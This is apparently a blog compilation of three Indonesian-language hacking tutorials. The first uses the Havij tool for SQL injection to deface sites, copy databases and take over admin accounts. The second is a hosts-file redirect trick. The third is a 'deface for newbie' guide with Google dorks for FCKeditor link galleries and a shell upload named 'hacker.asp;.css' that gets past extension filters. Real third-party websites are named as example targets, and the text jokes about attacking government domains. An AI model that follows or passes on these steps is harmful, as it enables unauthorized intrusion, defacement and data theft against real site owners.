SQL Injection Menggunakan HAVIJ

Dunia sekarang sungguh sangat dipermudah, tinggal jadi pemakai sudah bisa langsung jago dalam hal SQL Injection, tanpa harus mengetahui dasar-dasarnya. You can call your self what?

Oke lah, ini hanya sekedar sharing bagaimana caranya SQL Injection Havij:

1. Silakan cari target dengan menggunakan SQL Injection Vulnerability, bisa di cari dan didapat dari exploit-db.com, silakan ditemukan disini: http://www.exploit-db.com/webapps , cari vulnerability yang memiliki keyword “SQL INJECTION“.

2. Kemudian silakan download HAVIJ TOOLS FREE atau DOWNLOAD HAVIJ PRO (Thanks To AcizNinja For Update):

3. Wajib untuk download bantuan & help berikut: PDF HELP & CHM HELP

4. Berikut ini adalah beberapa images HAVIJ TOOLS:

5. Langkah-langkah utama dalam Havij:

• Temukan website yang memiliki Vulnerable SQL Injection
• Masukkan target yang vulnerable tersebut ke tab “Target” di Havij tanpa tanda ‘
• Kemudian klik Analyze
• Menu-menu yang ada silakan dipelajari di HELP PDF & HELP CHM yang sudah di download untuk fungsi masing-masing.

Hal apa saja sih yang bisa didapatkan dengan menggunakan tools ini?

1. Anda bisa melakukan deface website dengan HAVIJ
2. Anda bisa melakukan copy / save database dengan HAVIJ
3. Anda bisa menemukan admin login dengan HAVIJ
4. Anda bisa menjadi administrator website dengan HAVIJ
5. Selanjutnya tergantung dari sejauh mana kelihaian anda dalam mengolah target 

Kalau masih belum puas, berikut disertakan video tutorial mengenai HAVIJ, karena sudah banyak bertebaran, jadi gak perlu bikin video sendiri, silakan langsung aja disimak:

Oke all, selamat menikmati shownya.
Pesan To All: Jangan cari vulnerability *.go.id lagi ya, nanti pada kalang kabut lagi loh 

Jangan lupa gabung bersama teman-teman lain di: http://forum.binushacker.net

Enjoy & Eat It!

Sumber :http://forum.binushacker.net

DNS Host URL File Hacking

Pernah kebayang gak saat kita mau buka website A tiba2 yang muncul malah website B, tapi anehnya Url nya adalah alamat website A ? wah…pikiran kita pasti langsung ke virus atau spyware, belum tentu, bisa aja ada seseorang yang iseng <baca:hacker> telah menyusup ke system kita dan merubah file host untuk di arahkan ke Url yang dia kehendaki

Terus Gimana caranya ? cekicrot….

1. Buka cmd kamu dengan cara masuk menu run→cmd trus enter

2. Kalau udah masuk ketikkan

cd\windows\system32\drivers\etc

Seperti gambar di bawah ini :

3.  Cek dulu isi file hosts nya dengan perintah type hosts maka akan muncul seperti gambar dibawah ini

4. Muncul kan isi dari file hosts, terus gimana cara ngrubahnya ? gini caranya…ping dulu alamat yang mau dijadikan pengubah url target. Disini saya ambil contoh : www.kompas.co.id

5.  Nah, dapetkan IP nya.  tinggal nentuin sasarannya, website sasaran saya adalah www.jasaraharja.co.id, kalian boleh website apa aja.

6. jadi perintahnya adalah :

echo 202.146.4.100 www.jasaraharja.co.id >> hosts

trus enter deh.

7. Coba cek lagi di hosts nya tadi dengan perintah type hosts dah muncul kan perubahan

yang kita lakukan tadi…

8.  Buat nge-cek hasilnya,buka browser kamu dan coba browse ke www.jasaraharja.co.id

Pasti berubah tampilannya ke kompas.com, kaya ini nih..

Gak sulit kan membuat halaman website redirect ke halaman lain, hanya bermodalkan cmd aja.

Selamat Mencoba !  

sumber : http://www.binushacker.net/

Deface For Newbie

DORK :
inurl:Fck/fcklinkgallery.aspx
atau

/portals/0/
inurl:tabid/176/Default.aspx
pilih salah satu dork nya,,

klo udah ketemu target nya tambahkan ini "providers/htmleditorproviders/fck/fcklinkgallery.aspx

di sini saya menggunakan dork inurl:Fck/fcklinkgallery.aspx dan target http://www.pivocom.com/ sebagai contohnya..

sehingga akan menjadi seperti ini :
"http://www.maautoronto.ca/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx"

setelah nge klik itu, tnggu loading selesai baru kamu harus klik
"(File A file on your site)
dang anti alamat protocol website nya jadi :
"javascript:__doPostBack('ctlURL$cmdUpload','' )" => [ tanpa tanda kutip 2 ]

klo udah upload file yang pgn kamu masukin,,
file yang bisa di upload antara lain:

*. swf, *.jpg, *.jpeg, *.jpe, *.gif, *.bmp, *.png, *.doc, *.xls, *.ppt, *.pdf, *.txt, *.xml, *.xsl, *.css, *.zip, *.3gp,

tapi gk smua web yang bisa upload file .html,
ada bbrapa situs yg hanya bisa upload file .txt

sebelum upload ubah ekstensi nya menjadi css
misal : hacker.asp;.css ingat ! kita harus menambahkan titik nya dua kali [contohnamashell(.)asp(.)css] sehingga berakhiran ".asp;.css" misal : "hacker.asp;.css"

upload, trus ktia buka hasil deface nya . .
kita liat dlu tadi nama file yang kita upload apa
misal : "hacker.asp;.css" kita buka alamat protocol nya
caranya : ' kan tadi alamat nya "http://www.pivocom.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx" [ dengan catatan setelah kita berhasil/ selesai upload ]

nah..abis itu kamu ganti alamat "http://www.maautoronto.ca/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx" menjadi alamat halaman defaced kita menjadi http://www.maautoronto.ca/Portals/0/index.asp;.css intinya kita harus menambahkan "portals/0/" pada akhir http://www.maautoronto.ca

Contoh : http://www.maautoronto.ca/Portals/0/index.asp;.css


Selamat Mencoba....

Sumber : MVPZ